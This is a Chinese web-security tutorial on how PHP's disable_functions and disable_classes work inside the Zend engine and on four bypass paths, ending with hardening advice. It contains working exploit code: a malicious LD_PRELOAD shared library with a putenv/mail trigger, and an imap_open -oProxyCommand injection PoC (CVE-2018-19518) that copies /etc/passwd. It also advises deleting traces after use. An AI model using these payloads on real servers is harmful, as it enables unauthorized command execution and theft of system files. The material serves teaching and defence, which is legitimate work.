- 文档
- 网络安全
- 教程
【免费下载链接】Learn-Web-Hacking
Study Notes For Web Hacking / Web安全学习笔记
本文以 Learn-Web-Hacking 仓库的 source/language/php/disablefunc.rst 为主线,从 php-src 的 Zend 引擎源码出发,剖析
disable_functions/disable_classes的底层实现及其"启动时一次性生效"的根源;随后展开 LD_PRELOAD(mail()+putenv)、PHP OPcache、Mail 函数、imap_open(CVE-2018-19518)四条主流绕过路径,并结合仓库中 config.rst、basedir.rst、webshell.rst 等文档给出实战与加固建议。读完本文,你将理解 PHP 函数禁用机制为什么"禁用即不存在",并掌握在授权测试场景下设计绕过与防护方案的完整思路。
一、认识 disable_functions:PHP 的函数与类限制配置
在 PHP 的安全加固中,disable_functions与disable_classes是与open_basedir并列的经典限制手段。仓库的 source/language/php/config.rst 将这类配置归纳为"函数与类限制":
disable_functions:限制 PHP 进程内可调用的函数;disable_classes:限制 PHP 进程内可实例化的类。
与它配套的还有目录访问限制(open_basedir,见 basedir.rst)、远程引用限制(allow_url_include默认关闭、allow_url_fopen默认开启)以及 Session 相关配置。四者从函数调用、目录访问、远程资源三个维度构成 PHP 应用的基础安全边界。
典型的配置写法(php.ini 或 PHP-FPM 池配置):
; 禁止常见命令执行与代码执行类危险函数 disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec ; 禁止危险类 disable_classes = DirectoryIterator,SimpleXMLElement需要注意的是,disable_functions/disable_classes属于PHP_INI_SYSTEM级别的指令,只能在php.ini、服务器(如 Apache httpd.conf 的php_admin_value)或 PHP-FPM 池配置(php_admin_value[disable_functions] = ...)中设置,而不能由应用代码自行改变,这一点正是下文"为什么ini_set无效"的核心。
实战中,评估目标 PHP 环境时通常先枚举被禁用的函数:
<?php // 方式一:直接读取配置 var_dump(ini_get('disable_functions')); // 方式二:结合 get_defined_functions 计算白名单之外的可用危险函数 $disabled = array_filter(explode(',', ini_get('disable_functions'))); $all = get_defined_functions()['internal']; $usable = array_diff($all, $disabled); print_r(array_intersect($usable, ['putenv','mail','imap_open','error_log','mb_send_mail']));二、机制实现:zend_disable_function 与 zend_disable_class 源码解析
PHP 中 Disable Function 的实现位于 php-src 的Zend/Zend-API.c。PHP 在启动阶段读取配置文件中禁止的函数,逐一根据函数名调用zend_disable_function来完成禁用。也就是说,禁用动作发生在引擎启动期,作用对象是 Zend 引擎内部函数表(function table)中已注册的内置函数条目。
2.1 zend_disable_function:函数条目的"就地改造"
原文档给出的当前版本核心代码如下:
ZEND_API int zend_disable_function(char *function_name, size_t function_name_length) /* {{{ */ { zend_internal_function *func; if ((func = zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length))) { zend_free_internal_arg_info(func); func->fn_flags &= ~(ZEND_ACC_VARIADIC | ZEND_ACC_HAS_TYPE_HINTS | ZEND_ACC_HAS_RETURN_TYPE); func->num_args = 0; func->arg_info = NULL; func->handler = ZEND_FN(display_disabled_function); return SUCCESS; } return FAILURE; }逐行理解其语义:
| 步骤 | 源码 | 作用 |
|---|---|---|
| 查找 | zend_hash_str_find_ptr(CG(function_table), function_name, function_name_length) | 以函数名为 key,在编译期全局函数表中查找对应的内置函数结构zend_internal_function;找不到则返回FAILURE |
| 释放 | zend_free_internal_arg_info(func) | 释放该函数原有的参数信息结构 |
| 清标记 | func->fn_flags &= ~(ZEND_ACC_VARIADIC \| ZEND_ACC_HAS_TYPE_HINTS \| ZEND_ACC_HAS_RETURN_TYPE) | 清除变参、类型提示、返回类型声明等标记位 |
| 清参数 | func->num_args = 0; func->arg_info = NULL; | 参数个数清零、参数元数据置空 |
| 换处理器 | func->handler = ZEND_FN(display_disabled_function) | 将函数的执行 handler 整体替换为"已禁用函数"专用处理器 |
关键点在于最后一步:函数并不是从函数表中删除,而是原地替换执行入口。当后续代码调用该函数时,真正执行的是display_disabled_function,表现出的行为是抛出致命错误(如Call to undefined function system()),仿佛函数根本不存在。这种"替换 handler"而非"摘除节点"的做法,也决定了禁用状态对运行期代码而言是彻底的、不可见原始实现的。
2.2 zend_disable_class:类条目的整体清空
与函数类似,禁用类通过zend_disable_class实现,原文档给出的代码如下:
ZEND_API int zend_disable_class(char *class_name, size_t class_name_length) /* {{{ */ { zend_class_entry *disabled_class; zend_string *key; key = zend_string_alloc(class_name_length, 0); zend_str_tolower_copy(ZSTR_VAL(key), class_name, class_name_length); disabled_class = zend_hash_find_ptr(CG(class_table), key); zend_string_release_ex(key, 0); if (!disabled_class) { return FAILURE; } INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new); disabled_class->create_object = display_disabled_class; zend_hash_clean(&disabled_class->function_table); return SUCCESS; }与函数禁用的"保留节点"思路不同,类的处理更加激进:
zend_str_tolower_copy:类名在 PHP 中不区分大小写,因此先将目标类名统一转为小写,再以转换后的字符串为 key 在类表CG(class_table)中查找;INIT_CLASS_ENTRY_INIT_METHODS((*disabled_class), disabled_class_new):把该类的全部方法替换为disabled_class_new生成的一组"禁用"桩方法;disabled_class->create_object = display_disabled_class:将创建对象时的create_object钩子替换为display_disabled_class,使new操作同样被拦截;zend_hash_clean(&disabled_class->function_table):直接清空类的函数表,所有成员方法被整体移除。
也就是说,一个被禁用的类在运行期既无法实例化、也没有任何可用方法,比函数禁用处理得更彻底。
2.3 启动流程与禁用时点
zend_disable_function/zend_disable_class是在PHP 模块启动(module startup)阶段被调用的:引擎读取php.ini/ FPM 池配置中的disable_functions列表,按逗号分隔后逐个调用上述 API。从源码结构看,这一处理发生在引擎正式处理请求之前,属于全局一次性操作。
由此可以得出一个重要推论:因为禁用动作发生在引擎启动期、直接修改了函数表和类表,运行期再通过ini_set修改disable_functions/disable_classes是无效的——此时启动期已经完成禁用,ini_set即便返回成功,也不会重新触发zend_disable_function的查找与替换过程。这是原文档明确指出的结论,也是评估绕过方案时必须先确认的前提条件。
三、Bypass 思路总览
既然禁用的本质是"内置函数/类在引擎内被替换或清空",绕过方向就集中在:寻找未被禁用的、能间接达成命令执行或代码执行的其他入口。原文档列出的主要绕过路径如下:
| 绕过方式 | 核心前提 | 触发链路 |
|---|---|---|
| LD_PRELOAD | putenv()、邮件类函数未被禁用,且sendmail可执行 | putenv设置LD_PRELOAD→mail()拉起外部sendmail进程 → 恶意.so构造函数执行命令 |
| PHP OPcache | OPcache 开启且file_cache目录可写 | 写入伪造缓存文件 → PHP 加载其中携带的恶意字节码 |
| Mail 函数 | sendmail_path指向可执行程序 | 直接以邮件发送函数作为外部程序调用入口 |
| imap_open | php-imap 扩展已加载且imap_open未被禁用 | mailbox 参数注入命令行选项 → imap 客户端执行命令(CVE-2018-19518) |
下面逐一展开。
四、LD_PRELOAD 绕过(mail() + putenv)
这是最经典、也是最常被引用的绕过方式,原文档给出了参考项目bypass_disablefunc_via_LD_PRELOAD(yangyangwithgnu)。
4.1 原理
LD_PRELOAD是 Linux 动态链接器的环境变量:凡是被其指定的共享库,会在程序启动时优先于其他库被加载。PHP 的putenv()可以设置进程环境变量,而mail()(以及mb_send_mail()等邮件函数)在实现上会调用popen/exec拉起配置的sendmail_path(通常是/usr/sbin/sendmail)这一外部可执行程序。
putenv设置的LD_PRELOAD会随环境变量一起传给子进程sendmail,动态链接器在加载sendmail时就会把攻击者指定的恶意共享库载入。只要该共享库用__attribute__((constructor))声明了构造函数,代码便会在sendmail进程启动、执行main()之前抢先运行——从而在system/exec/shell_exec等函数全部被禁用的情况下,仍然获得命令执行能力。
4.2 前置条件
putenv未被禁用;mail/mb_send_mail等能触发外部进程的函数未被禁用;sendmail_path未被设置为空字符串(即mail()确实会拉起外部程序);- 具备向目标机器上传文件(写入恶意
.so)的能力。
4.3 实施步骤
第一步:编译恶意共享库(在本地或目标同架构环境):
// evil.c #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init(void) { // 先卸载 LD_PRELOAD,避免递归加载 unsetenv("LD_PRELOAD"); const char *cmd = getenv("EVIL_CMD"); if (cmd != NULL) { system(cmd); } }gcc -shared -fPIC -o /tmp/evil.so evil.c第二步:上传共享库并通过 PHP 触发:
<?php // 设置环境变量:指定要加载的恶意库 + 要执行的命令 putenv("LD_PRELOAD=/tmp/evil.so"); putenv("EVIL_CMD=id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"); // 触发 sendmail 子进程,完成共享库加载 mail("target@example.com", "subject", "body"); ?>执行后检查/tmp/pwned.txt即可确认命令执行结果。实际利用中,命令通常以 Base64 编码后解码执行(规避引号、管道等特殊字符),或直接建立反向 shell;命令执行结果也可以回传到攻击者可控的日志/文件,再配合 webshell.rst 中描述的持久化技巧进行后续操作。
第三步:清理痕迹:命令执行完成后及时删除恶意.so与环境变量,避免暴露利用痕迹。
五、PHP OPcache 绕过
disable_functions只作用于源码层的函数调用,而 OPcache 绕过思路的核心在于:PHP 实际执行的是缓存的字节码,而非每次请求都重新解析源码。
- 当
opcache.enable=1且配置了opcache.file_cache(常见设置为可写的临时目录,如/tmp)时,OPcache 会把编译后的字节码写入该目录的缓存文件; - 如果攻击者已经具备一定的文件写入能力(例如已上传 WebShell、存在文件上传漏洞),并且能够控制或伪造缓存目录中的文件,从公开技术资料和相关研究看,可以构造携带恶意字节码的缓存数据,使 PHP 进程在后续请求中加载并执行这些缓存内容,从而绕过源码层面对危险函数的禁用;
- 由于缓存命中与否依赖文件名、mtime、size 等元数据而非源码内容本身,一旦校验被绕过,禁用列表形同虚设。
需要注意,该手法对运行环境有较强依赖(OPcache 必须开启、file_cache必须可写、缓存键可控),并非所有环境都适用,实际利用前应先在目标环境验证 OPcache 配置(phpinfo()中查看opcache.enable、opcache.file_cache等字段),这也与 config.rst 中"从 phpinfo 可获得相关配置"的思路一致。
六、Mail 函数绕过
邮件发送函数是绕过disable_functions的经典"漏网之鱼":
- 出于业务需要(找回密码、通知、验证码等),
mail()、mb_send_mail()极少被管理员加入禁用列表; - 从机制上看,
mail()内部最终会以外部命令方式调用sendmail_path指向的可执行文件,因此它本身就是一个"受控的命令执行入口"; - 若
sendmail_path可被间接控制,或配合第四节中的 LD_PRELOAD 手法,邮件函数即可成为完整的命令执行触发点。
需要强调的是,Mail 函数绕过成立的先决条件是sendmail_path未配置为空字符串(某些加固环境会设置sendmail_path=直接禁用邮件功能),并且目标系统确实存在可调用的 sendmail 类程序。评估时可通过ini_get('sendmail_path')先行确认。
七、imap_open 绕过(CVE-2018-19518)
7.1 漏洞成因
imap_open()用于建立 IMAP / POP3 / NNTP 等邮箱连接,属于 PHP 邮件处理扩展(php-imap)中的高频函数,同样常常不在disable_functions列表中。CVE-2018-19518 的成因是:在部分版本中,imap_open()会把用户可控的 mailbox 参数(尤其是其中的主机名部分)直接拼接到传给底层 imap 客户端二进制的命令行参数中,且未对空格、-等特殊字符做有效过滤,从而形成命令行注入。
7.2 影响与修复
- 影响范围:该漏洞在官方修复版本(PHP 7.1.25、7.2.13、7.3.0 及之后)之前普遍存在;
- 修复方式:对传入 imap 客户端的参数进行更严格的校验,禁止通过 mailbox 注入以
-开头的命令行选项; - 利用价值:
imap_open被管理员视为"普通业务函数"而鲜有禁用,一旦 php-imap 扩展可用,即可在system/exec全灭的环境下直接获得 RCE。
7.3 利用模式
公开的 PoC 思路大致如下:在 mailbox 的主机名部分注入-oProxyCommand选项,使其作为独立参数传给 imap 二进制;-oProxyCommand的取值可为一个命令,从而在连接建立阶段触发任意命令执行:
<?php // 将命令 Base64 编码,避免引号、管道等特殊字符破坏参数结构 $cmd = base64_encode("cat /etc/passwd > /tmp/passwd.txt"); // 在主机名位置注入 -oProxyCommand $server = "x -oProxyCommand=echo {$cmd}|base64 -d|sh"; $mailbox = '{' . $server . ':993/imap/ssl}INBOX'; imap_open($mailbox, '', '', 0, 1); ?>实际利用时需根据目标 PHP 版本与 imap 客户端行为调整服务端口、加密选项(/imap、/ssl)以及-oProxyCommand中命令的编码方式。由于该漏洞属于版本相关的确定性漏洞,利用成功的前提是目标版本未打补丁,因此测试前应先通过phpversion()或phpinfo()确认 PHP 版本。
八、相关工具与仓库资源导航
围绕disable_functions绕过,仓库在其他章节归档了若干可复用的工具与资料,可在授权测试中参考:
- source/language/php/ref.rst:收录了
Bypass_Disable_functions_Shell(l3m0n 的绕过集成 Shell)以及 open_basedir 绕过等参考链接; - source/tools/exploit.rst:在 PHP 分类下列出了 Chankro(TarlogicSecurity)——用于规避
disable_functions与open_basedir的利用工具; - source/language/php/basedir.rst:
open_basedir的实现机制(main/fopen-wrappers.c中的php_check_open_basedir_ex),与disable_functions常被组合加固,也常被组合绕过; - source/language/php/sink.rst:
eval/system/shell_exec等命令执行与代码执行 Sink 清单,可用于核对禁用列表是否覆盖到位; - source/language/php/webshell.rst:WebShell 变形、回调函数、反射、
putenv+getenv等绕过技巧,与本文的绕过思路互补。
九、防御与加固建议
结合上述机制与绕过路径,给出针对disable_functions的防御建议:
- 禁用清单要"够用且穷尽":除
system、exec、shell_exec、passthru、proc_open、popen、pcntl_exec外,还应评估putenv、mail、mb_send_mail、imap_open、error_log、FFI等间接执行入口,参考 sink.rst 的清单逐项核对; - 多维度限制组合:
disable_functions与open_basedir、allow_url_include等配置叠加使用(见 config.rst),避免单一防线被整体击穿; - 控制外部程序执行:将
sendmail_path指向受限封装程序或直接置空;确保 PHP 进程无法向 OPcache 缓存目录写文件;及时升级 PHP 以修复 imap_open 等历史漏洞; - 权限最小化:以最低权限用户运行 PHP-FPM,限制
/tmp等目录的可写性,压缩恶意.so上传与加载的空间; - 运行时监控:关注
mail()触发后的异常子进程、LD_PRELOAD环境变量、OPcache 缓存目录中的异常文件以及imap_open的异常参数,配合 defense 章节的检测思路落地告警。
结语
disable_functions是 PHP 应用加固的经典手段,但其"启动期替换 handler"的实现机制决定了它只能挡住最直接的攻击入口,无法封死所有间接执行链路。理解zend_disable_function/zend_disable_class的源码级原理,是评估绕过面、设计合理禁用清单的前提;而 LD_PRELOAD、OPcache、Mail 函数与 imap_open 四条路径,则分别从动态链接、字节码缓存、外部进程、扩展函数四个维度展示了 PHP 执行环境的真实攻击面。希望本文能帮助你在阅读 disablefunc.rst 之余,建立从"机制"到"绕过"再到"防御"的完整闭环。
- 文档
- 网络安全
- 教程
【免费下载链接】Learn-Web-Hacking
Study Notes For Web Hacking / Web安全学习笔记
相关推荐
Learn-Web-Hacking 深入解析:PHP 流(Streams)体系、封装协议与 php://filter 安全利用
Learn Web Hacking 深入解析:PHP 流(Streams)体系、封装协议与 php://filter 安全利用 导读 :PHP 流(Stream
文档网络安全教程Learn-Web-Hacking语言安全:PHP、Java、Python代码审计实战
Learn Web Hacking语言安全:PHP、Java、Python代码审计实战 想要快速掌握Web安全审计技能吗?Learn Web Hacking项目
文档网络安全教程突破Web应用防火墙:5大实战绕过技巧揭秘
突破Web应用防火墙:5大实战绕过技巧揭秘 还在为Web应用防火墙 WAF 的拦截而烦恼吗?本文将为你揭示常见的WAF绕过技术,帮助安全测试人员和开发人员更好地
网络安全文档教程
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考